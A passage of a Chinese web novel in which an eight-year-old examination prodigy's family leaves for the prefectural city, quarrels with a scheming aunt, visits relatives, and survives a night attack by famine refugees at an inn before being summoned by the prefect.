苏氏看着眼前一小袋子的五十两银子外加老爷子给的五两银子,脸上顿时笑开了花。 “爹!” “娘!” “有件事我要同你们说一下。” “我们在老宅不能久待,要回去读书了。” 方子期提醒道。 “放心!” “我们明日就回县城,耽误不了学习!” 方仲礼点头道。 “不是回县城,而是去府城。” “方夫子说最近不太平……” 紧跟着,方子期将今天方夫子的话复述了一遍。 “粮价上涨了三成?” “山岱省遭逢大旱?百姓颗粒无收?人相食?” “怎会如此……” “我们也就…也就去考了个府试,怎么全变了。” 方仲礼瞪大眼珠子,忍不住惊叹道。 “粮价确实涨了不少,细水长流的,没想到竟已涨了这么多。” “子期。” “方夫子的意思是……去府城要更安全些?” 苏静姝再度确认道。 “嗯!” “真要是有兵祸或是流民冲击,府城的安全系数肯定是最高的。” “而且在府城,也更有利于求学。” “回头院试也是要在府城考的,省得来回奔波了。” 方子期提醒道。 “那…那我家这卤肉和红烧肉的买卖怎么办?” “虽然现在生意比之前差了些,但是每天几百文还是好赚的!” “这可是金疙瘩啊……” 苏氏一脸不舍。 “娘!” “去了府城,我们照样能做生意。” “至于禾阳县的买卖,就交给三叔他们去做吧。” “反正之前咱们也同三叔他们合作了一段时间了。” 方子期道。 若是能在府城将红烧肉和卤肉的买卖做起来,赚的银钱自然要比在县城多得多。 府城的人口和消费能力就不是县城所能够媲美的。 两者不可同日而语。 “孩子他爹……” 苏氏一时间没了主意,此刻不由得将目光看向方仲礼,想让方仲礼拿个主意。 方仲礼几乎没有犹豫,随即就点头道:“听子期的!别看子期岁数小,但是现在是咱们家学问最高的!” “咱们当父母的,若是学问比孩子高,能给孩子指引一条青云路,那让孩子听咱们的安排无可厚非。” “但若是学问、阅历没有孩子多,我们能做的就是尽可能地不给孩子拖后腿,尽我们所能去支持孩子就好了!” 方仲礼看向苏静姝,神色异常坚定。 第74章 方秀云归家 他这老父亲…已经在尽可能地去托举他了。 托举之力不分高低,尽力就好。 父母之爱子,则为其计之深远! 方子期感恩此生能够托生于这样的家庭中。 “好!” “那就这么办!” “孩子他爹,你去找一下三弟他们吧……” “明日……” “我想回兰谷村一趟。” “这一趟去了府城,也不知道什么时候才能再回来了。” 苏静姝咬着红唇,犹豫道。 方子期的外公外婆和两个舅舅都在兰谷村。 “应该的!” “明日我们一家子同去!” 方仲礼点头道,随即离开西厢房,去找方叔信去了。 过了半个多时辰,方仲礼才折返回来。 “方子已经交给三弟他们了。” “我同他们签了契约,红烧肉和卤肉还有制酱油的方子都不可外传。” “还有…三弟妹非说这方子源自于我们,所得净利必须要分润我们三成。” “否则他们宁愿不做这个买卖。” “我这三弟妹,什么时候居然变得这般通情达理了。” “搞得我还有些不太习惯。” 方仲礼摸了摸后脑勺,他还是习惯那个泼辣且喜欢斤斤计较的三弟妹。 “三弟妹才是人精呢!” “你们父子现如今都是童生了。” “你未来的科举路如何不知道,但是明眼人都能看出来咱们家子期将来必然是能在科举路上有所成就的。” “三弟妹用三成利卖个好,将来咱们家要是发达了,还能少了他们的好处?” “我同她当了这么多年妯娌,这点还是能看得透的。” “她可比大嫂聪明得多。” “有的时候,有舍才有得!” 苏静姝在一旁笑着道。 “一家人,搞得这般复杂做什么……” “哎!” “我刚才顺便去了一趟爹娘的屋,爹娘说不愿随我们去府城,就在家待着就好。” “我们以后有机会再回来看他们吧!” 方仲礼碎碎念一番,随即就去温书了。 他爹在努力读书上,堪称是方子期的楷模。 真的是利用一切可以利用的时间…… 而且随时随地都能切换到读书状态。 按照方仲礼自己的话来说就是,我脑子不够用,必须要多用点功,笨鸟必须要先飞! 第二天。 方子期一家子刚准备去兰谷村。 恰逢二姑方秀云和二姑夫陈景行带着两个女儿归家了。 要知道,之前二姑方秀云因为索要红烧肉方子不成,然后在方家大吵了一通之后,就再没归家过了。 甚至之后的节礼,都不曾送来了。 现在这又不是节日,好端端的突然就回来了。 而且回来的时候,满面笑容,就像没事人一样。 “呀!” “二哥二嫂!” “你们这是要出去啊!” “子期都长这么大了!” “二哥!我们在镇子上可都听说了!” “子期这一次中了府案首!” “八岁的府案首!现在镇子里轰动着呢!” “我现在走到哪,都有人夸子期聪明!将来定是个状元郎!” “二哥!” “子期这般聪明!之前你怎么也从不透露半分!” “咱们这可都是实在亲戚啊!” “都是一家人!” “子期!” “来!” “让二姑抱抱!” 方秀云说话间,就要将方子期揽入怀中。 方子期默默往后退了几步,眉头微微皱起。 对于这个市侩的二姑,他没什么太多感情。 惯会挑拨离间的,贪便宜没够。 在婆家立不起来,回了娘家倒是每次都摆起了姑姐的架势。 为此。 苏氏可没少同其发生冲突。 见方子期不让抱,甚至是明显的拒绝亲近,方秀云脸上当即露出一抹愠色。 “吆!” “我这大侄子!” “现在是飞上高枝了,看不起我这穷姑姑了?” “都说仗义每多屠狗辈,负心多是读书人!” “我看这话啊,还真是一点不假!” “读书读到最后,家人都不要了!” “二哥!你可得小心点!” “别到时候老了没用了瘫在床上,被儿子卷铺盖给赶出去了!” 方秀云声音尖细道。 苏静姝听到此处,直接忍不住了。 当即将手中的东西放下,横眼瞪向方秀云: “谁家姑子刚回娘家就拿粪水泼自家侄儿?” “刚回家就眼睛不是眼睛,鼻子不是鼻子的!” “你侄儿中了府案首,没指望你来道喜,你跑来嚼什么舌根?” “读书人都是负心汉?” “照你所说,那县令大人,知府大人都是狼心狗肺了?不敢去说外人,倒是就知道挤兑自家人?” “有些话我本不稀罕说,但是你今天惹到姑奶奶头上了。” “自己在老陈家当牛做马的,屁都不敢放一个。” “回了娘家,嗓门就大了?” “有本事去和你婆母吵!自己去婆家支棱起来!” “别每次受了气就往娘家撒气!” “什么东西!” 苏静姝站在方子期面前,直接开启战斗状态。 若是方秀云阴阳怪气地说她,苏静姝倒是还没什么。 但是说自己儿子,那就不行! 很快。 老爷子方守义和奶奶柳氏也从正屋走了出来。 三叔三婶跟在后面。 “吵什么?” “到底怎么回事?” 老爷子方守义皱眉道。 此刻方秀云当即一把鼻涕一把泪的…… “爹!” “我在镇子上听说子期中了县案首,特地备了礼来祝贺的。” “这刚到家门口,就被二嫂一顿臭骂!” “许是我家备的礼物不合二嫂心意,碍了二嫂的眼吧!” “毕竟二嫂现在也是童生娘了!” “身份也起来了……” “瞧不上我们这穷亲戚也正常……” 方秀云当即黛玉上身…… “住嘴!” “你个挑事精!” “没事别回来挑事!” “将你的礼物带走!” “我家不稀罕!” “一大清早就搅得鸡犬不宁的!” 老爷子方守义此刻丝毫不惯着,当即怒斥道。 对于自家女儿的德行,他太清楚了。 欺软怕硬,恃强凌弱…… 你要是脾气一贯如此,在婆家娘家一个样,方家人都不至于这么生气。 偏偏在婆家就一副受气包的样子。 到了娘家就趾高气扬的。 这谁受得了? 折腾了好一阵,方秀云拉着陈景行离开。 二姑父陈景行临行前还特地告罪一声。 “岳父岳母。” “秀云就这个脾气,你们多担待些。” “二哥二嫂……” “我们先走了……” 二姑父陈景行脸上挤出笑容道。 “快些走!” 方秀云脸拉得老长,在那里催促道。 等走出去老远。 陈景行脸上的笑容突然收敛。 然后…… 第75章 阿黄就托付给你了 “今天过来是缓和关系的!” “你那侄子少年天才,将来少说也能中个举人,到时候说不定还能得个官身!” “提前搞好关系,我们以后也能跟着一起吃肉!” “不然你以为我这么闲,陪你归家?” “你这个蠢妇!” “刚回家就闹得如此难堪!” “生不出儿子来也就算了!” “脑子还这般愚笨!” “我陈景行此生娶你真是倒了八辈子霉!” 陈景行一脸厌恶地瞪了一眼方秀云,看着方秀云那一副怂巴巴不敢说话的样子,怒气更盛,当即再度一耳光打过去。 方秀云吓得一阵哆嗦,却不敢多言语半分。 等回到镇子里,方秀云的婆母周氏听说了这件事,自然又是好一番怨怼。 …… 兰谷村。 大青骡车一路行驶,约莫两个时辰后,进入到兰谷村,径直来到一家铁匠铺前。 “子期!” “仲礼老弟!” “到了!” 驾车的方虎朝着车内叫唤了一声。 原本方子期是没打算带上方虎的。 但是方虎非要说路上不安全,执意护送,并且固执地当起了马夫。 “好的虎叔!你先歇一歇!” 方子期点头道,随即目光看向前方的铁匠铺。 此刻铁匠铺中,一位老者坐在椅子上抽着老旱烟,两个体型健壮的汉子在繁杂而重复地敲打着通红的铁具。 “外公!” “大舅!” “二舅!” 方子期和四个姐姐走上前,甜腻腻道。 “嗯?” 正在抽着烟打着瞌睡的苏老汉懵然瞪大双眼。 随即双目中满是惊喜。 “呀!” “是静姝回来了!” “子期!” “大丫二丫三丫四丫!” “女婿!” “快里头坐!” 苏老汉连忙熄了手中的老旱烟,脸上挂满了笑容。 苏老汉虽岁数大了,但是打了几十年铁的老底子还是在的,身躯显得十分魁梧,只是上了岁数后,脊背佝偻了不少。 “大哥!” “娘呢?” 苏静姝往里面看了看,没见到人,随即询问起苏家老大苏大勇。 “娘带着你两个嫂子出去置物了!” “应该快要回来了!” “小妹,怎么突然归家了?” “还带这许多东西。” 苏大勇看着从大青骡车上搬运下来的诸多礼物,有些愣住了。 这莫不是将家都给搬来了? “小妹!昨日有客人来打农具,说是今年府试的案首的名字也叫方子期!” “同咱家子期一个名字!” “这可是好兆头!” “咱家子期未来定然也能拿个案首回来!” 二舅苏锻生笑呵呵地走上前,露出胳膊上虬结的肌肉,随即伸出双手,掐住方子期的胳肢窝抱起来架在自己的脖颈上转了好几圈。 方子期悠然长叹。 怎么都喜欢让他玩转圈圈啊! 他爹是这样。 他舅亦然! 二舅转完,大舅转。 大舅转完,连他外公都兴致勃勃地想要耍一圈。 最后还是他娘担心老爷子的身体,给制止了。 “大哥!二哥!” “中了府案首的那个子期,就是咱家子期。” “嘿嘿!” “今年我陪着子期去府城考的试。” “我也跟着考了个府试最后一名。” 方仲礼摸了摸后脑勺,显得还有些不好意思。 “什么?” “府案首当真是我外甥?” “我的个老天爷!” “祖宗保佑!” “咱家竟还出了个文曲星!” 大舅苏大勇忍不住震撼道。 二舅苏锻生不停地在那点着头:“我早就看出来子期聪慧!小时候这小子尿床之后还知道往尿尿的地方撒一杯茶水遮掩痕迹!” 苏锻生开始说起了方子期的糗事。 这个头开了之后。 一大家子就开始就停不下来了,开始就方子期曾经做过的那些糗事展开了大讨论。 方子期嘴角抽了抽,快要顶不住了! 还好很快他外婆孙氏就带着大舅母管氏和二舅母徐氏归家了。 外婆孙氏见到外孙外孙女来了,自然十分高兴。 至于两位舅母,倒也能维持表面上的和谐,只是彼此间略显得有些生分。 大人们议事,方子期和四个姐姐就去找大舅二舅家的几个表哥表姐去玩耍了。 中午在外公家吃饱了饭食,下午就动身要归家了。 “好不容易回来一趟。” “在家歇一晚吧!” 外婆孙氏显得很不舍。 “娘!” “我们急着回府城呢!子期读书的事情不能耽搁!” “还有……子期的夫子说,最近这世道也不太平。” “要不然你们还是去城里住吧!” “尤其是今年的徭役,你们千万不要舍不得银钱,一定要用银钱去顶了徭役!” “今年的徭役是要死人的!死很多人!” “而且粮价也越来越贵了。” “山岱省那边大旱,都出现了人相食的扬景了……” “待在城里总比待在村子里安全……” “不管是躲避兵祸还是躲避流民……” …… 苏静姝熟稔地将这一套话说了一遍。 这一套话这两天已经说了很多次了。 不仅仅是对着他三叔三婶,他爷爷奶奶,甚至是方族族长都说过。 但是很显然。 大家都不愿意离开这赖以生存的老窝。 基本上都应承着说知道了,自己会注意的,但是想要从村里搬家到城里,何其艰难也! 若非之前方仲礼敬献了曲辕犁得了一套府城宅邸的奖励,他们一大家子想要在府城置业也不是那般简单的。 处处都是要银钱的。 回程的路上。 苏氏有些闷闷不乐。 “看爹娘和大哥二哥的意思,恐怕是不会搬家的。” “说来也是。” “去了城里,他们那铁匠铺怎么办?” “平日里在村里面也住习惯了。” 苏氏碎碎念几句,随即将目光看向自家宝贝儿子。 “子期。” “你说那祸事什么时候会到我们禾阳县来?” 苏氏紧张道。 “额……” “娘!” “还早呢!” “可能几个月?” “也有可能一两年?” “当然也有可能无事发生。” “倒也不必过于担心。” “只是说这世道会越来越难罢了。” 方子期安慰道。 “世道越来越难……” “那就该多攒些银钱了。” “只要有银钱,将来不管是到了哪,咱都不会饿着了。” “等到了府城……” “先买一批米粮在家里储备着……” “真要是打起仗来,这粮价恐怕要翻番地往上涨!” 苏氏开始盘算着。 临行之前。 方子期一路拜别了一下好友们。 第一站就是赵满仓家。 “阿黄就托你照顾了。” “阿黄现在有孕在身,回头多给它喂点好吃的。” 第76章 花县令:八岁稚童比我会做官! 方子期去了县衙,拜别了花允谦。 “这就去府城了?” “子期!你先去!” “我可能也要去府城求学!” “我爹让我试一试九月份的院试!” “万一过了,我可就是十四岁的秀才!” “虽比不上你这天纵神童,可也不差了!” 花允谦一脸傲娇道。 “行!” “那我就在府城等着你了!” 方子期点头笑道。 多个同伴在府城也能多个照应。 方子期打完招呼,就准备走了。 没想到刚出门,就遇见了花允谦的老爹花承祚,也就是禾阳县的县令。 “是子期吧?” “怎么不进去多坐坐?” “这一次你中了府案首,可是大大鼓舞了我禾阳学子们的士气啊!” “今后有什么打算?” “可愿去县学读书?我现在就能给你们安排,你们父子都能进县学读书!一应花销县学全包了!” 花县令看到方子期,显得十分高兴。 一方面是因为方子期是自己儿子的好友,自己态度温和些也正常。 另一方面也是因为方子期这个府案首确实给他的政绩增色了不少。 “县令大人,我同我爹准备去府城求学了。” “多谢县令大人好意了。” 方子期拱手道。 “去府城?” “好…也好!” “府城的文风定当是比县学好的……” “这样……” “我给你们父子写一封举荐信!” “到了府城后,直接去府学找章宗儒教授。” “你将信交给他,他就会安排你们在府学就读的。” “子期!你可莫要推辞!” “若是你不想去府学就读,就当这信不存在就是了。” “不过咱们宁江府的府学还是非常不错的。” “里面的教授最次也是中过乡试副榜的,多的是举人教授。” “甚至于时不时的还有进士授课!” “我准备过些日子就让允谦去府学上课。” 花县令自始至终脸上都挂着笑容。 “多谢县令大人抬爱!” “学生感激涕零!” 方子期连忙致谢道。 不管这位县令大人是出自于什么缘故对他这般好,但是这推荐信确实在一定程度上解决了方子期不少麻烦。 科举之路,闭门造车是不可行的。 进入府学后,除了能够接受系统的学习外,还能观览府学中的大量藏书,这对读书如饥似渴的方子期来说,有着莫大助益! “别总是称呼什么县令大人!” “你既同允谦同辈论交,唤我一声世叔就好!” “可莫要生分了!” 花县令故意装作一副责怪的样子。 “额……” “是!世叔!” 方子期倒是没矫情,这位县令大人既然希望能够拉近彼此的关系,方子期自然也不会拒绝。 在禾阳县的地面上,有县令大人罩着,能免去诸多事端。 而这位县令大人所看中的自然就是自己未来之前途了。 眼看着方子期家的大青骡车渐渐远去。 花允谦有些坐不住了。 “爹!” “要不然我明天就去府城求学去吧!” “整日待在家中,也无法静心读书。” “眼看着院试将近!孩儿心里面也着急啊!” “读书科举之路,可不能懈怠丝毫!” 花允谦叹气道。 “你这小子打的什么主意我不知道吗?” “不就是看那方子期去了府城,所以你也想跟着去?” “你这兔崽子,什么时候成了他方子期的跟屁虫了?” 花承祚佯装愠怒道。 “爹!” “什么跟屁虫不跟屁虫的,你说这话我就不爱听了。” “我和子期是君子之交!是知己!” “你不懂!” “爹!” “你别看子期年龄小,但是他体内蕴藏的知识当真是浩如烟海啊!” “子期开蒙至今才两年!” “这家伙在读书上就是个怪胎!” “我都怕他将整个大梁的书都读完了,以后无书可读了!” 花允谦忍不住感慨道。 “你同方子期多交往,我不反对。” “如若他能一路顺遂下去。” “一个进士必是跑不掉的。” “而且其为人沉稳持重…其县试的文章我仔细看过了了。” “文章精妙不说,此人极擅奉承之道。” “他若中了进士,拿到了进入官扬的入扬券……” “那将来之仕途必是平步青云!” “将来就算是入阁,也并非没有可能!” “你若能一路追随于他,将来成就亦不会低。” “至少…比你爹我肯定好得多!” “我也是前几年才参悟的这为官之道……” “没想到这八岁稚童就已全盘参悟!” “当真是个怪胎啊!” “会做文章的怪胎不可怕。” “可怕的是既会做文章,又会做人的怪胎啊!” 花县令摇头晃脑,感慨颇深。 “知道了爹!” “那我明天就去府城了!” “我不在家的日子。” “爹你少去勾栏听曲。” “瞅瞅你这身体,都成什么样了。” “我还等着入仕后,你给我当靠山呢!” 花允谦耸耸肩道。 “你这臭小子!” “安敢放肆!” “劳资的事,什么时候轮到你来置喙了!” “明日想走就快些滚吧!” “不过你说这些倒是提醒我了。” “你岁数小,那些风月之地,你就不要去了,容易染病!” “你若实在忍不住……” “我给你安置两个美婢如何?” 花县令突发奇想道。 花允谦的母亲早逝,所以花允谦从小就跟着老爹一起长大的。 这些年,花县令为了花允谦这个宝贝儿子不受苦,倒也没有娶继室。 只是有一些勾栏听曲的雅趣。 这父子俩的关系处得倒是颇为随意。 “爹!” “你以为我像你啊?” “夫子说了!” “读书人当胸藏浩然正气!” “美色于我如浮云!” “我扑在读书上的兴致,就像你去勾栏听曲的兴致一般无二!” 花允谦昂着头,颇为傲娇道。 花县令:“……” 孽子!敢耳! …… “子期!” “刚才我远远地看着,是县令大人同你讲话?” 方子期刚上骡车,方仲礼就忍不住询问道。 “是的爹!” “这是花县令给我的举荐信,说是拿去府学找章宗儒教授,就能安排我们在府学就读了。” 方子期说话间,将举荐信拿了过来。 “这……” “县令大人这份恩德,我们要如何才能还上啊!” 方仲礼顿时一阵局促。 第77章 夜半惊魂,杀人越货 在得到别人帮助的同时,首先想到的事就是要如何还上恩情。 “爹!” “施恩不图报自然是不可能的。” “但是那位花县令也没指望我们立即就报答啊!” “将来有的是机会。” “咱们现在要做的就是好好读书,争取院试榜上有名。” “如此,才能不辜负花县令的一片苦心。” 方子期坦然道。 一路走来,旁人对他的恩情,他都铭记于心。仇恨亦然。 他们父子若是在院试榜上有名,对那位花县令而言,也是一桩不菲的政绩。 “嗯!” “是!” “是应该好好读书。” 方仲礼点点头,随即从胸前掏出一本《程文集》有滋有味地看了起来。 赶路的时候,路上其实是很颠簸的。 但是方仲礼丝毫不受影响。 看到自家老爹这个样子。 方子期突然想到了一句话:我扑在读书上,就像饥饿的人扑在面包上。 此中有足乐者,不足为外人道也! “爹读书可真用功!” 大丫忍不住感慨道。 赶路一天。 稍微闲暇时。 方仲礼也是尽可能地同家人聊天。 “孩子他爹。” “大丫今年也十四岁了。” “也该开始相看了。” “不然就耽搁了。” “现在你们父子也中了童生。” “寻一个好的亲事应当不难。” “只是我们去了府城后,人生地不熟的,万一被人坑骗了可如何是好。” 苏静姝忍不住担忧道。 在这个时代,女孩子基本上十四五岁就开始相看甚至是成亲了。 若是到了十六岁,甚至都算是岁数偏大的了。 虽然大丫今年才十四岁,但是提前相看倒也到日子了。 “娘!” “我不嫁人!” “我要一直陪着爹娘!” 大丫在一旁哼声道。 “死丫头!” “瞎说什么混话!” “哪有女孩子不嫁人的!” “放心!” “我同你爹定会给你找个好人家!” “有了你大堂姐的前车之鉴,可不敢胡乱配姻缘了。” 苏静姝一想到方玉瑶每次归家都默默哭泣的样子,一阵唏嘘。 这个年代,女人嫁人,不亚于第二次投胎。 “娘!” “着什么急!” “还早着呢!” 方子期皱眉道。 天杀的古代! “子期说得对。” “等九月份的院试过了,之后再说吧!” “若是子期过了院试,那就是秀才了。” “到时候选择也就多了。” 方仲礼沉声道。 随便闲聊了几句,随即方仲礼又开始看书…… 周遭烦躁的环境,他都不以为意。 两耳不闻窗外事,一心只读圣贤书! 这一点,方子期是真做不到。 道路崎岖颠簸,颠得脑瓜子都疼,哪里还有什么看书的心思。 索性。 方子期开始同方虎闲聊。 “虎叔!” “听说您当年在边军服役过?” “可曾同鞑子交战过?” 方子期道。 “嗯?” 正在驱骡的方虎听到方子期找他说话,显得有些惊讶,不过很快就开始答复。 “既到了边军,自当是要打仗的。” “我当年也是因为宰了一头鞑子,才当了队正!” 说起以往方虎不由得陷入回忆往昔的惆怅中。 “队正统领五十名士兵,按照大梁的军事制度,队正应当授予正九品的陪戎校尉散官衔了!” “没想到虎叔还有官身!” 方子期忍不住惊叹道。 “哈哈!” “子期,这你就想多了。” “上有政策下有对策。” “我这种没有背景的队正,谁给你授散官衔啊!” 方虎摇了摇头,轻叹道。 虽说正九品的武官头衔不值钱。 但也好过于平头百姓啊! 只是在军中无人脉资源,就算是当上了队正的职事官也无用就是了。 在大梁的武官制度中,分为职事官和散官,大概类似于军职和军衔。 像统领五十人的队正,就是职事官,也就是军职!在军中有用,离开了军队,谁还认你这个队正? 按照规则,统领五十人的队正,要被授予正九品的翊麾校尉散官衔!也就是所谓的军衔! 虽然有品级,但是这个品级也只能让你获得一些待遇,光有散官衔,是无实权的。 “虎叔。” “你杀了一个鞑子,就当队正了?” 方子期忍不住再度询问道。 这是不是有点太容易了? “咋了?” “杀一个还不够?” “那些个鞑子,都像是野兽一样,凶猛得紧啊!” “我也是机缘巧合下,射死了一个罢了。” “若是正面对上,能不能打得过还不一定呢!” “按照常理来说,野战状态下,我大梁军队除非有十倍于鞑子的兵力,才能出城一战!” “否则就只能守城!” “要不然凭借鞑子那点人口,怎么能让大梁朝堂上的衮衮诸公寝食难安?” 方虎随即又说了一些有关于鞑子的事。 总而言之。 北方的鞑子很难打。 大梁大部分都处于守城状态,很少有野战的机会。 方子期默默记下。 随即缠着方虎询问了更多…… 唯有知道的更多,未来才好在混乱中求生。 因为在路上耽搁了一些时间。 所以今天是到不了宁江府了。 只能在半道上寻个客栈暂且住下。 折腾了一整天。 确实也累了。 简单吃点东西,方子期就沉沉地睡下了。 夜半时分。 方子期突然被一阵响动声惊醒。 紧跟着方虎急匆匆地冲了进来。 “子期!” “遇到贼人了!” “快!” “叫上你爹娘和姐姐们聚到一起!” 方虎面色沉重。 此刻手握着一把直刀,身上挂上了弓箭。 “尚不知贼人究竟有多少人。” “这贼人已经在一个个房间搜寻了。” “很快就要摸到这里来!” 方虎简单解释了一下后。 随即拿着武器出了门。 紧跟着让方子期一家人待在屋内,千万不要出来。 方子期此刻虽然刚刚惊醒,但是脑子已经在高速旋转。 全身上下的血液都在沸腾。 贼人? 杀人越货? 性命之忧? “怎会如此……” “以往走这条道的时候,从未有什么贼人啊!” 第78章 方族麒麟儿 唯独他不行! “这帮天杀的……” “怎么就遭了这些贼人!” “早知道就不去兰谷村了,都怪我!” 苏静姝此刻一脸自责。 四个姐姐也就大姐稍微冷静一些。 三姐和四姐年龄小,此刻脸上早就没了血色。 “娘!” “还没到那一步。” “虎叔在外面呢!” “虎叔是上过战扬杀过鞑子的。” “若只是几个小毛贼,不会出事的。” 方子期宽慰了一下苏氏,随即径直走到门口。 “爹!” “你且在此地不要走动。” “我出去看看情况。” 方子期沉声道。 还没等到方仲礼反应过来,他已经开门钻了出去。 方仲礼在虚空中的手顿了顿,没抓着。 此刻门外。 方虎持刀正在同四个贼寇对峙。 通过晦暗不明的灯光,能够看到这四个贼寇长得颇为凶悍, 但是这些贼寇皮肤出现了部分溃烂,毛发也脱落了不少,四肢都显得浮肿至极,看着倒像是长期饥荒者。 “子期,你出来做什么?” “他们定是山岱省过来的。” “人相食后,才会像他们这般,嘴角长大泡!” 方虎显然是见过这种人的,此刻一眼就看出了。 方子期心中暗自一咯噔。 山岱省? 流民都已经流窜到宁江府了吗? “倒是有几分见识!” “既知爷爷们做过什么,还不赶紧滚开!” 其中一流民当即冷笑道。 如果可以的话,他们也不想同方虎这种手持兵刃且身躯健硕者争斗。 “你们离开此处!” “我们井水不犯河水!” “只要不动这间屋子就行!” 方虎沉声道。 他是族里派来保护方子期的。 所以绝不容有失。 方虎的话,让眼前的四人有些犹豫。 “大哥!” “我都听那胖掌柜说了!” “这屋子里,有好几个女人!还都嫩得很!” “而且还有大青骡车!” “想必身家不菲!” “干了这一票,咱们就能吃好久了!” 其中一流民眼眸中露出贪婪之色。 方子期听着他们的交谈,心中暗自一咯噔。 这是谈崩了。 方子期给方虎递了个眼色,示意方虎随时动手。 方子期径直往前走了一步。 “我乃禾阳县县令之子花允谦!” “只要你们不谋害于我!” “我让我爹给你送白银万两如何?” 方子期高声道。 屋内的方仲礼听了差点一个踉跄。 这娃想干啥? 听到方子期之言。 眼前的几个流民顿时露出意动之色。 随即互相对视一眼,开始小声交谈。 “大哥!这小子细皮嫩肉的,说不定还真是狗县令的儿子!” “那咱们可就发了啊!” “万两白银,咱们一辈子不愁了……” “不过若是招惹了县令,有咱们的好日子过?” “但是……” 嗖…… 一支箭羽突然射了过来,直接穿透了其中一流民的胸口。 流民顿时一阵惊骇。 “大哥被杀了!” “杀光他们!为大哥报仇!” 贼寇此刻惊醒过来。 随即三个流民手持大刀冲了过来。 此刻的方虎手上动作极快,连忙又射了一箭。 只是这一箭苍茫射出,只是射中了一个贼寇的臂膀。 此刻贼寇已经杀了过来。 方虎毫不犹豫扔掉弓箭,直接拔出腰间的直刀,一个突刺,将一个贼寇捅了个透心凉。 四个贼寇。 用弓箭射死了一个,射伤了一个,用刀捅死了一个。 现在只剩下一个受伤的贼寇和一个无伤的贼寇。 此刻这两个贼寇对视一眼,从彼此的目光都看到恐惧。 随即毫不犹豫,转身就跑。 所谓的兄弟情义之类的,可比不得自己小命。 “呼!” 方虎微微舒了口气,随即立即捡起弓箭,就着灯光,又射出几箭,将最后两个贼寇全部射杀! 如此,他还不放心,对着尸首又各自射了一箭后,又用直刀都补了一刀。 “必须要确保都死了。” “否则迟早都是个祸患。” “像这些习惯了相食同族的,心理早就扭曲了,人伦尽丧!必须要清理干净!” 方虎在一旁解释道。 “子期,还要多亏了你说那些话分了这些贼寇的心神,否则我也不能这般容易偷袭得手!” 方虎一脸庆幸道。 此刻方虎见方子期虽然脸色有些发白,但是尚且还能安稳地站在那里看着他,一时间心中不由得高看了一眼。 不愧是我方族的麒麟儿! 果然不俗! “子期!” “你如何了?” “可受伤了?” “你吓死娘了!” “你要是出了什么事,让娘怎么活!” “刚才怎么那般莽撞地冲出去!” “那些个杀人不眨眼的恶匪,若是伤了你可怎么办!” 苏氏此刻哭得梨花带雨。 几个姐姐也是一副劫后余生的惊悚感。 方仲礼此刻仍旧紧紧地握着那根大木棒,此刻看着眼前的尸首,顿觉胃中一阵翻涌,但是咬着牙忍住了。 方仲礼尚且还能忍住。 但是方子期的几个姐姐就不行了。 刚刚都是太关心方子期所以没反应过来。 等反应归来后。 纷纷走到一旁呕吐起来。 这一夜。 自然都没心思睡了。 第二天一大早,宁江府的衙役就过来了。 方子期等人将各自的路引和身份证明都交上了。 “原来是方童生和方小童生!” “我是宁江府捕头孟断水,这厢有礼了。” 捕头孟断水对着方仲礼和方子期拱拱手道,态度倒是没了之前的轻慢,多了一丝温和。 方仲礼也就罢了。 方子期可是知府大人亲自点的府案首。 八岁的府案首,现如今在整个宁江府早就传开了。 方子期现如今早已经成了宁江府争相称赞的‘别人家的孩子’。 孟断水家中就有一幼子在进学,这几日孟断水可没少用方子期举例来激励自己的幼子。 如此年少有为的府案首,将来前途不可限量! 能卖个好,谁愿意提前得罪啊! “孟捕头好。” “麻烦了。” 方仲礼见到衙门里来人,才跟着松了口气。 这一晚上紧绷的神经都快要炸裂了。 “嗯!” “这四个贼寇是谁杀的!” 捕头孟断水询问道。 “我杀的!” 方虎闷声道。 方子期走上前道:“孟捕头,这位是我族叔方虎,此番是特地送我去府城读书的,早些年我这族叔曾在边军服役,所以身手不错,昨夜贼寇欲杀我们,我族叔被迫之下只能将他们全部反杀!” 方子期用最简单的语言将事情说清楚。 第79章 安民三策,知府问询 捕头孟断水忍不住夸赞道。 方虎不言,只是沉默。 “可愿去府衙谋个差事?抓捕盗贼,你必是一把好手!” 捕头孟断水此刻也忍不住生了惜才之心。 “多谢厚爱。” “暂无此等志向。” 方虎婉拒道。 他的任务是保护方家的麒麟子。 至于其他之事,都要往后推。 孟断水点点头,倒也没多说什么。 “这四个贼寇既是你们所杀,那还要麻烦方童生和方小童生同去府衙说明情况。” “到时候还能领些赏银呢!” 孟断水笑着道。 “自当如此。” 方仲礼连忙点头道。 只要事情能妥善解决就好。 这一夜可真是惊魂未定! 到了府衙,自有文书将方子期等人的言语记录一遍,主要就是说明一下此事的来龙去脉。 解释完毕后。 府衙还特地拿了二十两银子给方子期,说是帮助官府抓捕盗贼的赏钱。 方子期随手就递给了方虎。 “这如何使得?” “这银子我不能要!” “我只是个护卫!” “子期!” “这银子你拿着读书吧!” 方虎摆摆手道。 “虎叔!” “这盗贼本就是你杀的。” “这赏银合该你拿!” “昨夜若非是虎叔浴血搏杀,我们一家人可能已经命丧贼手了!” “救命之恩尚且没来得及报答。” “这银钱虎叔要是再给我们,我们可就真没脸了!” 方子期坚持道。 方虎愣了愣。 有些局促。 最后也只拿了十两银子。 “杀那四个贼寇,也有子期你的一份功劳!” “赏钱咱们平分就好!” “子期休要多言了!” 方虎坚持道。 方子期无奈,只能暂且收下了。 由此也可见,这方虎确实是个耿直汉子。 这白花花的银子谁不喜欢? 方子期心中想着,默默地将这份恩情记下了。 方子期等人正准备离开。 不远处,捕头孟断水突然急匆匆地赶了过来。 “方小童生!” “知府大人有请!” 捕头孟断水此刻对方子期的态度更加和善了。 此刻他心中也是感慨万分。 宁江府内出现了流寇,作为捕头他本是照章上报知府。 没想到知府大人听说杀贼者是方子期一家后,当即就要见方子期。 由此可见。 知府大人对这位方小童生确实是格外的青睐啊! 还好这一路上不曾对方小童生有什么恶语相向。 想到此处,孟断水不由得有些庆幸。 “知府大人见我?” “孟捕头,不知是何事?” 方子期一边跟着孟断水往府衙内走去,一边忍不住询问道。 “具体我也不知。” “可能是知府大人怕你被贼寇所伤吧!” 孟断水摇摇头道。 知府大人的心思,他怎么猜得到? 不多时。 就进入了府衙后院。 让方子期感到错愕的是,这府衙后院一片萧条,颇有一种家徒四壁之感。 甚至比禾阳县县衙都要萧瑟冷清许多,只有零星两个老仆在照顾着花草。 在后院的一处小亭子中方子期见到了王知廉。 “知府大人。” “学生前来请罪。” 方子期走上前,直接道。 “请罪?你何罪之有啊?” 王知府愣了一下,忍不住好奇道。 “府试放榜后,学生本应来拜访座师。” “只是恰逢同行的好友病逝,只能匆匆返乡!” 